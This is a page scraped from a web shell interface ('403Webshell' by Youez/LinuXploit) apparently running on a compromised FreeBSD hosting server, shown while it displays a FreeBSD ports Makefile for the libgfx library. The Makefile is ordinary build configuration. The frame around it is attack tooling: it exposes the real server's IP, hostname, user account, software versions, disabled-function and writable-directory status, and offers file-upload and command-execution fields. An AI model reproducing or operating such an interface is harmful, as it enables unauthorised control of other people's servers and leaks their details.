403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/graphics/libgfx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/graphics/libgfx/Makefile
PORTNAME=	libgfx
DISTVERSION=	1.1.0
PORTREVISION=	12
CATEGORIES=	graphics
MASTER_SITES=	http://mgarland.org/files/dist/

MAINTAINER=	ports@FreeBSD.org
COMMENT=	OpenGL/FLTK development
WWW=		https://mgarland.org/software/libgfx.html

LICENSE=	MIT

LIB_DEPENDS=	libfltk.so:x11-toolkits/fltk \
		libtiff.so:graphics/tiff \
		libpng.so:graphics/png \
		libgzstream.so:devel/gzstream

BUILD_WRKSRC=	${WRKSRC}/src

USES=		gl gmake jpeg xorg
USE_GL=		glu
USE_XORG=	x11 xext xft xinerama
GNU_CONFIGURE=	yes
CONFIGURE_ARGS=	--enable-gzstream --with-libtiff-lzw --with-x
ALL_TARGET=	${PORTNAME}.so
USE_LDCONFIG=	yes

CFLAGS+=	-fPIC
CPPFLAGS+=	-I${LOCALBASE}/include
LDFLAGS+=	-L${LOCALBASE}/lib

post-patch:
	@${REINPLACE_CMD} -e \
		'/^CC /d ; \
		 /^CXX /d' ${WRKSRC}/gfx-config.in
	@${REINPLACE_CMD} -e \
		's|\.a|.so|g ; \
		 /RANLIB/d ; \
		 s|[(]AR[)] cru|{CC} ${CFLAGS} ${LDFLAGS} -shared $${GUI_LIBS} -lgzstream -o|' ${WRKSRC}/src/${MAKEFILE}
	@${REINPLACE_CMD} -e \
		'/^FLTK_LIBS/s|"-lfltk"|"`fltk-config --ldflags`"|' ${WRKSRC}/configure

do-install:
	@(cd ${WRKSRC}/include/gfx && ${COPYTREE_SHARE} . ${STAGEDIR}${PREFIX}/include/gfx)
	${INSTALL_LIB} ${WRKSRC}/src/${PORTNAME}.so ${STAGEDIR}${PREFIX}/lib
	@${LN} -sf ${PORTNAME}.so ${STAGEDIR}${PREFIX}/lib/${PORTNAME}.so.0

.include <bsd.port.mk>

Youez - 2016 - github.com/yon3zu
LinuXploit